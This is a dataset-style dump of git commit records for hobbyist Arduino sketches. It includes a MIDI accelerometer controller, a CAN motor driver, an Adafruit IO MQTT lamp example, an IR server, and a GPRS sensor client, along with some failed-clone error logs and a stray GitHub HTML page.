wm.startConfigPortal();\n }\n\n pinMode(TRIGGER_PIN, INPUT);\n}\n\nvoid loop() {\n \/\/ is configuration portal requested?\n if ( digitalRead(TRIGGER_PIN) == LOW ) {\n Serial.println(\"BUTTON PRESSED\");\n \/\/WiFiManager\n \/\/Local intialization. Once its business is done, there is no need to keep it around\n \/\/reset settings - for testing\n \/\/wm.resetSettings();\n\n \/\/sets timeout until configuration portal gets turned off\n \/\/useful to make it all retry or go to sleep, in seconds\n wm.setConfigPortalTimeout(120);\n\n \/\/it starts an access point with the specified name\n \/\/here \"AutoConnectAP\"\n \/\/and goes into a blocking loop awaiting configuration\n\n \/\/WITHOUT THIS THE AP DOES NOT SEEM TO WORK PROPERLY WITH SDK 1.5 , update to at least 1.5.1\n \/\/WiFi.mode(WIFI_STA);\n \n \/\/ disable captive portal redirection\n \/\/ wm.setCaptivePortalEnable(false);\n \n if (!wm.startConfigPortal(\"OnDemandAP\")) {\n Serial.println(\"failed to connect and hit timeout\");\n delay(3000);\n } else {\n \/\/if you get here you have connected to the WiFi\n Serial.println(\"connected...yeey :)\");\n } \n }\n\n \/\/ put your main code here, to run repeatedly:\n delay(5000);\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"9a0f8d058941aac92996db8db93a567f5fa12c7c","subject":"Initial Release","message":"Initial Release\n\nStill contains some old values and debug statements, to be cleaned up.\n","repos":"LeifBloomquist\/MotionMIDI,LeifBloomquist\/MotionMIDI","old_file":"MIDI1.ino","new_file":"MIDI1.ino","new_contents":"\/\/ ADXL335 Test Program\n\n\/\/ Old Values\n\/\/ Coincidentally, the difference between these is 127, perfect for MIDI\n\/\/#define MIN 270\n\/\/#define MAX 397\n\n#define CENTER 371 \/\/ Same for x, y, and z\n#define RANGE 100\n#define MAX (CENTER+RANGE)\n#define MIN (CENTER-RANGE)\n\n#define LED 13\n\nvoid setup()\n{\n\/\/Serial.begin(31250); \/\/ Raw MIDI\n Serial.begin(38400); \/\/ Direct connect\n pinMode(LED, OUTPUT);\n}\n\nvoid loop()\n{ \n int x, y, z;\n byte x1, y1, z1;\n \n digitalWrite(LED, HIGH); \/\/ set the LED on\n \n x = analogRead(0); \/\/ read analog input pin 0\n y = analogRead(1); \/\/ read analog input pin 1\n z = analogRead(2); \/\/ read analog input pin 2\n\n\/\/ Serial.println(z, DEC); \/\/ print the acceleration in the X axis for debugging\n\n x1 = AccelToCC(x);\n y1 = AccelToCC(y);\n z1 = AccelToCC(z);\n\n sendMIDI(0xB0,20,x1); \/\/ Channel 1, CC#20\n sendMIDI(0xB0,21,y1); \/\/ Channel 1, CC#21\n sendMIDI(0xB0,22,z1); \/\/ Channel 1, CC#22\n\n digitalWrite(LED, LOW); \/\/ set the LED off\n\n delay(100); \/\/ wait 100ms for next reading\n}\n\n\nvoid sendMIDI(byte cmd, byte data1, byte data2)\n{\n Serial.write(cmd);\n Serial.write(data1);\n Serial.write(data2);\n}\n\n\/\/ Map an input between MIN and MAX to 0 to 127\nbyte AccelToCC(int in)\n{ \n \/\/ Bound\n if (in > MAX) in=MAX;\n if (in < MIN) in=MIN;\n \n \/\/ Change zero-offset\n in = in-MIN;\n \n \/\/ Scale between 0.0 and 1.0\n float temp = (float)in\/((float)MAX-(float)MIN);\n \n \/\/Serial.println(temp, DEC);\n \n return temp*127; \n}\n\n \r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MIDI1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ef205307411a22b68ec001347efa71a0554e2f7e","subject":"Receiver Object","message":"Receiver Object\n","repos":"Duke-Medical-Instrumentation\/Inception","old_file":"Testing\/BluetoothTesting\/Receiver\/Receiver.ino","new_file":"Testing\/BluetoothTesting\/Receiver\/Receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/Inception.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b07db8750af1934fb4b26125c8448dc04a58e3a2","subject":"Add programm to control AK60-6 motor","message":"Add programm to control AK60-6 motor\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/AK60-6\/AK60-6.ino","new_file":"Arduino\/AK60-6\/AK60-6.ino","new_contents":"#include <CAN.h>\n#include <ServoInput.h> \/\/ github.com\/dmadison\/ServoInput\n\n\nint tab[8];\nint8_t myIndex;\nint packetSize;\n\/\/ limit data to be within bounds\nfloat P_MIN = -12.5;\nfloat P_MAX = 12.5 ;\nfloat V_MIN = -41.87;\nfloat V_MAX = 41.87;\nfloat T_MIN = -9;\nfloat T_MAX = 9;\nfloat Kp_MIN = 0;\nfloat Kp_MAX = 500;\nfloat Kd_MIN = 0;\nfloat Kd_MAX = 5;\nfloat Test_Pos = 0.0;\n\n float pos = 0;\nServoInputPin<6> servo;\nvoid setup() {\n Serial.begin(9600);\n \/\/while (!Serial);\n delay(3000);\n\n Serial.println(\"CAN Sender\");\n\n \/\/ start the CAN bus at 500 kbps\n if (!CAN.begin(1000E3)) {\n Serial.println(\"Starting CAN failed!\");\n while (1);\n }\n\n setMotormode(0x01);\n setZero(0x01);\n \/\/exitMotormode(0x01);\n}\n\nfloat mapfloat(float x, float in_min, float in_max, float out_min, float out_max)\n{\n return (x - in_min) * (out_max - out_min) \/ (in_max - in_min) + out_min;\n}\n\nvoid loop() {\n float angle = servo.getAngle(); \/\/ get angle of servo (0 - 180)\n \n\n pos = mapfloat(angle, 0, 180, P_MIN, P_MAX);\n Serial.println(pos);\n setCommand(0x01, pos, 0.0, 3, 1, 0*pos);\n readCAN();\n delay(100);\n \/\/\n}\n\nint setMotormode(int id){\n\n CAN.beginPacket(id);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFC);\n \n CAN.endPacket();\n\n return 1;\n}\n\nint exitMotormode(int id){\n CAN.beginPacket(id);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFD);\n \n CAN.endPacket();\n return 1;\n}\n\nint setZero(int id){\n CAN.beginPacket(id);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFF);\n CAN.write(0xFE);\n \n CAN.endPacket();\n return 1;\n}\n\nvoid setCommand(int id, float p_des, float v_des, float kp, float kd, float t_ff)\n{\n\n\n p_des = fminf(fmaxf(P_MIN, p_des), P_MAX);\n v_des = fminf(fmaxf(V_MIN, v_des), V_MAX);\n kp = fminf(fmaxf(Kp_MIN, kp), Kp_MAX);\n kd = fminf(fmaxf(Kd_MIN, kd), Kd_MAX);\n t_ff=fminf(fmaxf(T_MIN, t_ff), T_MAX);\n\n\/\/convert float to unsigned ints\n int p_int = float_to_uint(p_des, P_MIN, P_MAX, 16);\n int v_int = float_to_uint(v_des,V_MIN, V_MAX, 12);\n int kp_int = float_to_uint(kp, Kp_MIN, Kp_MAX, 12);\n int kd_int = float_to_uint(kd, Kd_MIN, Kd_MAX, 12);\n int t_int = float_to_uint(t_ff, T_MIN, T_MAX, 12);\n\n \/\/ send to CAN bus\n \n CAN.beginPacket(id);\n CAN.write(p_int>>8);\n CAN.write(p_int&0xFF);\n CAN.write(v_int>>4);\n CAN.write(((v_int&0xF)<<4)|(kp_int>>8));\n CAN.write(kp_int&0xFF);\n CAN.write(kd_int>>4);\n CAN.write(((kd_int&0xF)<<4)|(t_int>>8));\n CAN.write(t_int&0xff);\n\n CAN.endPacket();\n\n}\n \n\nint float_to_uint(float x, float x_min, float x_max, unsigned int bits)\n{\n \/\/ Converts a float to an unsigned int, given range and number of bits\n float span = x_max - x_min;\n if (x<x_min)\n { \n x= x_min;\n }\n else if (x>x_max)\n { \n x = x_max;\n }\n return (int) ((x-x_min)*((float)((1<<bits)-1)\/span));\n}\n\nvoid readCAN()\n{\n int packetSize = CAN.parsePacket();\n\n if (packetSize)\n {\n myIndex = 0;\n while (CAN.available()) \n {\n tab[myIndex]=(CAN.read());\n myIndex++;\n }\n getData(tab);\n }\n}\n\nvoid getData(int tab[8])\n{\n\n int id = tab[0];\n int p_int = tab[1]<<8|tab[2];\n int v_int = (tab[3]<<4)|(tab[4]>>4);\n int i_int = ((tab[4]&0xF)<<8)|tab[5];\n \n float p = uint_to_float(p_int, P_MIN, P_MAX, 16);\n float v = uint_to_float(v_int, V_MIN, V_MAX, 12);\n float i = uint_to_float(i_int, -T_MAX, T_MAX, 12);\n if (id==1)\n {\n float position = p;\n \n float speed = v;\n float torque = i;\n Serial.print(position);\n Serial.print(\"rad \");\n Serial.print(speed);\n Serial.print(\"rad\/s \");\n Serial.print(torque);\n Serial.println(\"A\");\n }\n }\n\nfloat uint_to_float(int x_int, float x_min, float x_max, int bits)\n{\n float span = x_max - x_min;\n float offset = x_min;\n return ((float)x_int)*span\/((float)((1<<bits)-1)) + offset;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/AK60-6\/AK60-6.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e1adbc925cf212956182312fb003af679c064b0","subject":"adds esp digital out example","message":"adds esp digital out example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"esp8266\/digital-out\/digital-out.ino","new_file":"esp8266\/digital-out\/digital-out.ino","new_contents":"\/***************************************************\n Adafruit MQTT Library ESP8266 Example\n\n Must use ESP8266 Arduino from:\n https:\/\/github.com\/esp8266\/Arduino\n\n Works great with Adafruit's Huzzah ESP board:\n ----> https:\/\/www.adafruit.com\/product\/2471\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Tony DiCola for Adafruit Industries.\n Adafruit IO example additions by Todd Treece.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n#include <ESP8266WiFi.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/****************************** Pins ******************************************\/\n\n#define LAMP 2 \/\/ power switch tail\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/************************* Adafruit.io Setup *********************************\/\n\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 1883\n#define AIO_USERNAME \"...your AIO username (see https:\/\/accounts.adafruit.com)...\"\n#define AIO_KEY \"...your AIO key...\"\n\n\/************ Global State (you don't need to change this!) ******************\/\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\n\/\/ Store the MQTT server, client ID, username, and password in flash memory.\n\/\/ This is required for using the Adafruit MQTT library.\nconst char MQTT_SERVER[] PROGMEM = AIO_SERVER;\n\/\/ Set a unique MQTT client ID using the AIO key + the date and time the sketch\n\/\/ was compiled (so this should be unique across multiple devices for a user,\n\/\/ alternatively you can manually set this to a GUID or other random value).\nconst char MQTT_CLIENTID[] PROGMEM = AIO_KEY __DATE__ __TIME__;\nconst char MQTT_USERNAME[] PROGMEM = AIO_USERNAME;\nconst char MQTT_PASSWORD[] PROGMEM = AIO_KEY;\n\n\/\/ Setup the MQTT client class by passing in the WiFi client and MQTT server and login details.\nAdafruit_MQTT_Client mqtt(&client, MQTT_SERVER, AIO_SERVERPORT, MQTT_CLIENTID, MQTT_USERNAME, MQTT_PASSWORD);\n\n\/****************************** Feeds ***************************************\/\n\n\/\/ Setup a feed called 'lamp' for subscribing to changes.\n\/\/ Notice MQTT paths for AIO follow the form: <username>\/feeds\/<feedname>\nconst char LAMP_FEED[] PROGMEM = AIO_USERNAME \"\/feeds\/lamp\";\nAdafruit_MQTT_Subscribe lamp = Adafruit_MQTT_Subscribe(&mqtt, LAMP_FEED);\n\n\/*************************** Sketch Code ************************************\/\n\nvoid setup() {\n\n \/\/ set power switch tail pin as an output\n pinMode(LAMP, OUTPUT);\n\n Serial.begin(115200);\n\n Serial.println(F(\"Adafruit IO Example:\"));\n Serial.print(F(\"Free RAM: \")); Serial.println(getFreeRam(), DEC);\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n delay(10);\n Serial.print(F(\"Connecting to \"));\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(F(\".\"));\n }\n Serial.println();\n\n Serial.println(F(\"WiFi connected\"));\n Serial.println(F(\"IP address: \"));\n Serial.println(WiFi.localIP());\n\n \/\/ listen for events on the lamp feed\n mqtt.subscribe(&lamp);\n\n \/\/ connect to adafruit io\n connect();\n\n}\n\nvoid loop() {\n\n Adafruit_MQTT_Subscribe *subscription;\n\n \/\/ Make sure to reset watchdog every loop iteration!\n Watchdog.reset();\n\n \/\/ ping adafruit io a few times to make sure we remain connected\n if(! mqtt.ping(3)) {\n \/\/ reconnect to adafruit io\n if(! mqtt.connected())\n connect();\n }\n\n \/\/ this is our 'wait for incoming subscription packets' busy subloop\n while (subscription = mqtt.readSubscription(1000)) {\n\n \/\/ we only care about the lamp events\n if (subscription == &lamp) {\n\n \/\/ convert mqtt ascii payload to int\n char *value = lamp.lastread;\n Serial.print(F(\"Received: \"));\n Serial.println(value);\n int current = atoi(value);\n\n \/\/ write the current state to the power switch tail\n digitalWrite(LAMP, current == 1 ? HIGH : LOW);\n\n }\n\n }\n\n}\n\n\/\/ connect to adafruit io via MQTT\nvoid connect() {\n\n Serial.print(F(\"Connecting to Adafruit IO... \"));\n\n int8_t ret;\n\n while ((ret = mqtt.connect()) != 0) {\n\n switch (ret) {\n case 1: Serial.println(F(\"Wrong protocol\")); break;\n case 2: Serial.println(F(\"ID rejected\")); break;\n case 3: Serial.println(F(\"Server unavail\")); break;\n case 4: Serial.println(F(\"Bad user\/pass\")); break;\n case 5: Serial.println(F(\"Not authed\")); break;\n case 6: Serial.println(F(\"Failed to subscribe\")); break;\n default: Serial.println(F(\"Connection failed\")); break;\n }\n\n if(ret >= 0)\n mqtt.disconnect();\n\n Serial.println(F(\"Retrying connection...\"));\n delay(5000);\n\n }\n\n Serial.println(F(\"Adafruit IO Connected!\"));\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/digital-out\/digital-out.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86c4becce41865fad5811445c8a7f9bfa3791819","subject":"modified to read 4ch upon dPIN8=LOW and 1ch upon dPIN8=HIGH - rate rx will be changed depending on verification test","message":"modified to read 4ch upon dPIN8=LOW and 1ch upon dPIN8=HIGH - rate rx will be changed depending on verification test\n","repos":"reynal74\/sensor_projects","old_file":"read_sensor_data\/impact_and_pulloff_segmented\/impact_and_pulloff_segmented.ino","new_file":"read_sensor_data\/impact_and_pulloff_segmented\/impact_and_pulloff_segmented.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/reynal74\/sensor_projects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0913c94bdf75983b2a2e0ef1a711e1d56f5a41ae","subject":"New file MicroGirs.ino.","message":"New file MicroGirs.ino.\n","repos":"z3t0\/Arduino-IRremote,AnalysIR\/Arduino-IRremote,shirriff\/Arduino-IRremote,z3t0\/Arduino-IRremote,Seeed-Studio\/IRSendRev,AnalysIR\/Arduino-IRremote,shirriff\/Arduino-IRremote,Seeed-Studio\/IRSendRev","old_file":"examples\/MicroGirs\/MicroGirs.ino","new_file":"examples\/MicroGirs\/MicroGirs.ino","new_contents":"\/*\nThis is a minimalistic Girs server (http:\/\/harctoolbox.org\/Girs.html).\nIt only depends on (a subset of) IRremote\n(https:\/\/github.com\/z3t0\/Arduino-IRremote), It can be used with\nIrScrutinizer (Sending\/Capturing hw = Girs Client) and Lirc 0.9.4 and\nlater (driver girs http:\/\/lirc.org\/html\/girs.html). (Authors of\nsimilar software are encourage to implement support.)\n\nIt consists of an interacive IR server, taking one-line commands from\nthe \"user\" (which is typically not a person but another program), and\nresponds with a one-line response. In the language of the Girs\nspecifications, the modules \"base\", receive, and transmit are\nimplemented. (The two latter can be disabled by not defining two\ncorresponding CPP symbols.)\n\nIt understands the following commands:\n\n* The \"version\" command returns the program name and version, \n* The \"modules\" command returns the modules implemented, normally base, receive and transmit.\n* The \"receve\" command reads an IR signal using the deployed sensor.\n* The \"send\" commands transmits a supplied raw signal the requested number of times.\n \nOnly the first character of the command is evaluated in this implementation.\n \nThe \"receive\" command returns the received IR sequence as a sequence\nof durations, including a (dummy) trailing silence. On-periods\n(\"marks\", \"flashes\") are prefixed by \"+\", while off-periods (\"spaces\",\n\"gaps\") are prefixed by \"-\". The present version never times out.\n \nThe \"send\" command takes the following parameters:\n \n send noSends frequencyHz introLength repeatLength endingLength durations...\n \n where \n\n* frequencyHz denotes the modulation frequency in Hz\n (NOT khz, as is commonly used in IRremote)\n* introLength denotes the length of the intro sequence, must be even,\n* repeatLength denotes the length of the repeat sequence, must be even,\n* endingLength denotes the length of the ending sequence (normally 0), must be even.\n* duration... denotes the microsecond durations to send, \n starting with the first on-period, ending with a (possibly dummy) trailing silence\n \nSemantics: first the intro sequence will be sent once (i.e., the first\nrepeatLength durations) (if non-empty). Then the repeat sequence will\nbe sent (noSends-1) times, unless the intro sequence was empty, in\nwhich case it will be send noSends times. Finally, the ending\nsequence will be send once (if non-empty).\n \nWeaknesses of the IRremote implementation:\n* Reception never times out.\n* The IRrecv class does its own decoding which is irrelevant for us. It cannot be disabled.\n* The timeout at the end on a signal reception is not configurable.\n For example, a NEC1 type signal will cut after the intro sequence,\n and the repeats will be considered independent signals.\n* IR reception cannot be turned of. \n* The size of the data is platform dependent (unsigned int).\n*\/\n\n#include <IRremote.h>\n#include <limits.h>\n\n\/\/ Define the ones that should be enabled\n#define RECEIVE\n#define TRANSMIT\n\n\/\/ Change the following if desired\n\n\/\/ Pin used by the receiver\n#define INPUTPIN 11\n\n\/\/ (The sending pin is in general not configurable, see the documentation of IRremote.)\n\n\/\/ Character that ends the command lines. Do not change unless you known what\n\/\/ you are doing. IrScrutinizer and Lirc expects \\r.\n#define EOLCHAR '\\r'\n\n\/\/ Baud rate for the serial\/USB connection.\n\/\/ 115200 is the default for IrScrutinizer and Lirc.\n#define BAUDRATE 115200\n\n\/\/\/\/\/\/ End of user configurable variables \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define modulesSupported \"base transmit receive\"\n#ifndef PROGNAME\n#define PROGNAME \"MicroGirs\"\n#endif\n#ifndef VERSION\n#define VERSION \"2017-04-23\"\n#endif\n#define okString \"OK\"\n#define errorString \"ERROR\"\n#define timeoutString \".\"\n\n\/\/ For compatibility with IRremote, we deliberately use\n\/\/ the platform dependent types.\ntypedef unsigned frequency_t;\ntypedef unsigned microseconds_t;\n\nstatic const microseconds_t DUMMYENDING = 40000U;\nstatic const frequency_t FREQUENCY_T_MAX = UINT16_MAX;\nstatic const frequency_t MICROSECONDS_T_MAX = UINT16_MAX;\n\n#ifdef RECEIVE\nIRrecv irRecv(INPUTPIN);\n#endif\n#ifdef TRANSMIT\nIRsend irSend;\n#endif\n\n\/\/\/\/\/\/\/\/\/ Tokenizer class. Breaks the command line into tokens. \/\/\/\/\/\/\nclass Tokenizer {\nprivate:\n static const int invalidIndex = -1;\n\n int index; \/\/ signed since invalidIndex is possible\n const String& payload;\n void trim();\n\npublic:\n Tokenizer(const String &str);\n virtual ~Tokenizer();\n\n String getToken();\n String getRest();\n String getLine();\n long getInt();\n microseconds_t getMicroseconds();\n frequency_t getFrequency();\n\n static const int invalid = INT_MAX;\n};\n\nTokenizer::Tokenizer(const String& str) : index(0), payload(str) {\n}\n\nTokenizer::~Tokenizer() {\n}\n\nString Tokenizer::getRest() {\n String result = index == invalidIndex ? String(\"\") : payload.substring(index);\n index = invalidIndex;\n return result;\n}\n\nString Tokenizer::getLine() {\n if (index == invalidIndex)\n return String(\"\");\n\n int i = payload.indexOf('\\n', index);\n String s = (i > 0) ? payload.substring(index, i) : payload.substring(index);\n index = (i > 0) ? i+1 : invalidIndex;\n return s;\n}\n\nString Tokenizer::getToken() {\n if (index < 0)\n return String(\"\");\n\n int i = payload.indexOf(' ', index);\n String s = (i > 0) ? payload.substring(index, i) : payload.substring(index);\n index = (i > 0) ? i : invalidIndex;\n if (index != invalidIndex)\n if (index != invalidIndex)\n while (payload.charAt(index) == ' ')\n index++;\n return s;\n}\n\nlong Tokenizer::getInt() {\n String token = getToken();\n return token == \"\" ? (long) invalid : token.toInt();\n}\n\nmicroseconds_t Tokenizer::getMicroseconds() {\n long t = getToken().toInt();\n return (microseconds_t) ((t < MICROSECONDS_T_MAX) ? t : MICROSECONDS_T_MAX);\n}\n\nfrequency_t Tokenizer::getFrequency() {\n long t = getToken().toInt();\n return (frequency_t) ((t < FREQUENCY_T_MAX) ? t : FREQUENCY_T_MAX);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ end Tokenizer \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef TRANSMIT\nstatic inline unsigned hz2khz(frequency_t hz) {\n return (hz + 500)\/1000;\n}\n\nstatic void sendRaw(const microseconds_t intro[], unsigned lengthIntro,\n const microseconds_t repeat[], unsigned lengthRepeat,\n const microseconds_t ending[], unsigned lengthEnding,\n frequency_t frequency, unsigned times) {\n if (lengthIntro > 0U)\n irSend.sendRaw(intro, lengthIntro, hz2khz(frequency));\n if (lengthRepeat > 0U)\n for (unsigned i = 0U; i < times - (lengthIntro > 0U); i++)\n irSend.sendRaw(repeat, lengthRepeat, hz2khz(frequency));\n if (lengthEnding > 0U)\n irSend.sendRaw(ending, lengthEnding, hz2khz(frequency));\n}\n#endif \/\/ TRANSMIT\n\n#ifdef RECEIVE\nstatic void receive(Stream& stream) {\n irRecv.resume(); \/\/ Receive the next value\n \n decode_results results;\n while (!irRecv.decode(&results)) {\n }\n\n dump(stream, &results);\n}\n\nstatic void dump(Stream& stream, decode_results* results) {\n unsigned int count = results->rawlen;\n for (unsigned int i = 1; i < count; i++) {\n stream.write(i & 1 ? '+' : '-');\n stream.print(results->rawbuf[i] * USECPERTICK, DEC);\n stream.print(\" \");\n }\n stream.print('-');\n stream.println(DUMMYENDING);\n}\n#endif \/\/ RECEIVE\n\nvoid setup() {\n Serial.begin(BAUDRATE);\n while (!Serial)\n ; \/\/ wait for serial port to connect. \"Needed for Leonardo only\"\n \n Serial.println(F(PROGNAME \" \" VERSION));\n \/\/Serial.setTimeout(SERIALTIMEOUT);\n#ifdef RECEIVE\n \/\/ There is unfortunately no disableIRIn in IRremote.\n \/\/ Therefore, turn it on, and leave it on.\n \/\/ We _hope_ that it will not interfere with sending.\n irRecv.enableIRIn();\n#endif\n}\n\n\nstatic String readCommand(Stream& stream) {\n while (stream.available() == 0) {\n }\n \n String line = stream.readStringUntil(EOLCHAR);\n line.trim();\n return line;\n}\n\nstatic void processCommand(const String& line, Stream& stream) {\n Tokenizer tokenizer(line);\n String cmd = tokenizer.getToken();\n\n \/\/ Decode the command in cmd\n if (cmd.length() == 0) {\n \/\/ empty command, do nothing\n stream.println(F(okString));\n return;\n }\n\n switch (cmd[0]) {\n case 'm':\n stream.println(F(modulesSupported));\n break;\n\n#ifdef RECEIVE\n case 'r': \/\/ receive\n case 'a':\n case 'c':\n receive(stream);\n break;\n#endif \/\/ RECEIVE\n\n#ifdef TRANSMIT\n case 's': \/\/ send\n {\n \/\/ TODO: handle unparsable data gracefully\n unsigned noSends = (unsigned) tokenizer.getInt();\n frequency_t frequency = tokenizer.getFrequency();\n unsigned introLength = (unsigned) tokenizer.getInt();\n unsigned repeatLength = (unsigned) tokenizer.getInt();\n unsigned endingLength = (unsigned) tokenizer.getInt();\n microseconds_t intro[introLength];\n microseconds_t repeat[repeatLength];\n microseconds_t ending[endingLength];\n for (unsigned i = 0; i < introLength; i++)\n intro[i] = tokenizer.getMicroseconds();\n for (unsigned i = 0; i < repeatLength; i++)\n repeat[i] = tokenizer.getMicroseconds();\n for (unsigned i = 0; i < endingLength; i++)\n ending[i] = tokenizer.getMicroseconds();\n sendRaw(intro, introLength, repeat, repeatLength, ending, endingLength, frequency, noSends);\n stream.println(F(okString));\n }\n break;\n#endif \/\/ TRANSMIT\n\n case 'v': \/\/ version\n stream.println(F(PROGNAME \" \" VERSION));\n break;\n default:\n stream.println(F(errorString));\n }\n}\n\nvoid loop() {\n String line = readCommand(Serial);\n processCommand(line, Serial);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MicroGirs\/MicroGirs.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"8e86527a000c2316ed7035140ed240f7c5f13875","subject":"Arduino File.","message":"Arduino File.\n","repos":"lincanbin\/Arduino-Location-Based-Environment-Detector-Client,lincanbin\/Arduino-Location-Based-Environment-Detector-Client","old_file":"monitor_client\/monitor_client.ino","new_file":"monitor_client\/monitor_client.ino","new_contents":"#include <sim900_Suli.h>\n#include <SoftwareSerial.h>\n#include <Wire.h>\n#include \"Suli.h\"\n#include \"DHT11.h\"\n#define DHT11PIN 2\nconst int pin_tx = 7;\nconst int pin_rx = 8;\nSoftwareSerial gprs(pin_tx,pin_rx);\/\/TX,RX\n\n\/\/char http_cmd[162];\ndht11 DHT11;\nvoid setup(){\n Serial.begin(9600);\n sim900_init(&gprs, -1, 9600);\n int a = DHT11.read(DHT11PIN);\n\n Serial.print(\"Temperature (oC): \");\n Serial.println((float)DHT11.temperature, 2);\n Serial.print(\"Humidity (%): \");\n Serial.println((float)DHT11.humidity, 2);\n \/\/snprintf(http_cmd,sizeof(http_cmd),\"GET monitor.ourjnu.com\/submit.php?device_index=13726247339&longitude=113.540718&latitude=22.256467&temperature=%03d&humidity=%03d&particulate_matter=25 HTTP\/1.0\\r\\n\\r\\n\",DHT11.temperature,DHT11.humidity);\n \/\/sprintf(http_cmd,\"GET \/submit.php?device_index=13726247339&longitude=113.540718&latitude=22.256467&temperature=%03d&humidity=%03d&particulate_matter=25 HTTP\/1.0\\r\\n\\r\\n\",DHT11.temperature,DHT11.humidity);\n \/\/Serial.println(http_cmd);\n while(!gprs.available()) {\n sim900_send_cmd(\"AT+CGATT?\");\n delay(2000);\n }\n Serial.println(gprs.read());\n}\n\nvoid loop(){\n \/*\n while(!gprs.available()) {\n gprs.write(\"AT+CGATT?\");\n delay(2000);\n }\n Serial.println(gprs.read());*\/\n delay(100000);\n}\n\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'monitor_client\/monitor_client.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"89a1f2b349b9f402771d81cb5cffa8f7132b7884","subject":"worked on PID method:","message":"worked on PID method:\n","repos":"GaParmar\/quadcopter,GaParmar\/quadcopter","old_file":"FlightController.ino","new_file":"FlightController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GaParmar\/quadcopter.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"58040c904b4ac291060ffcd4ea87e238449867da","subject":"moved old arduino files...","message":"moved old arduino files...\n","repos":"glen-costigan\/stab,glen-costigan\/stab,glen-costigan\/stab","old_file":"STAB_1_code\/Old_Arduino_Code\/STAB_1_code.ino","new_file":"STAB_1_code\/Old_Arduino_Code\/STAB_1_code.ino","new_contents":"\n\n\n\n<!DOCTYPE html>\n<html lang=\"en\" class=\" is-copy-enabled is-u2f-enabled\">\n <head prefix=\"og: http:\/\/ogp.me\/ns# fb: http:\/\/ogp.me\/ns\/fb# object: http:\/\/ogp.me\/ns\/object# article: http:\/\/ogp.me\/ns\/article# profile: http:\/\/ogp.me\/ns\/profile#\">\n <meta charset='utf-8'>\n \n\n <link crossorigin=\"anonymous\" href=\"https:\/\/assets-cdn.github.com\/assets\/frameworks-f58b8d6de8bc9fde24688085829036adf401072bd89acbbe4897816112552904.css\" integrity=\"sha256-9YuNbei8n94kaICFgpA2rfQBByvYmsu+SJeBYRJVKQQ=\" media=\"all\" rel=\"stylesheet\" \/>\n <link crossorigin=\"anonymous\" href=\"https:\/\/assets-cdn.github.com\/assets\/github-fdb2407fecf3baa8ae269dd4233bd00902837267eaba4424be96b8213c5fcb03.css\" integrity=\"sha256-\/bJAf+zzuqiuJp3UIzvQCQKDcmfqukQkvpa4ITxfywM=\" media=\"all\" rel=\"stylesheet\" \/>\n \n \n \n \n\n <link as=\"script\" href=\"https:\/\/assets-cdn.github.com\/assets\/frameworks-88471af1fec40ff9418efbe2ddd15b6896af8d772f8179004c254dffc25ea490.js\" rel=\"preload\" 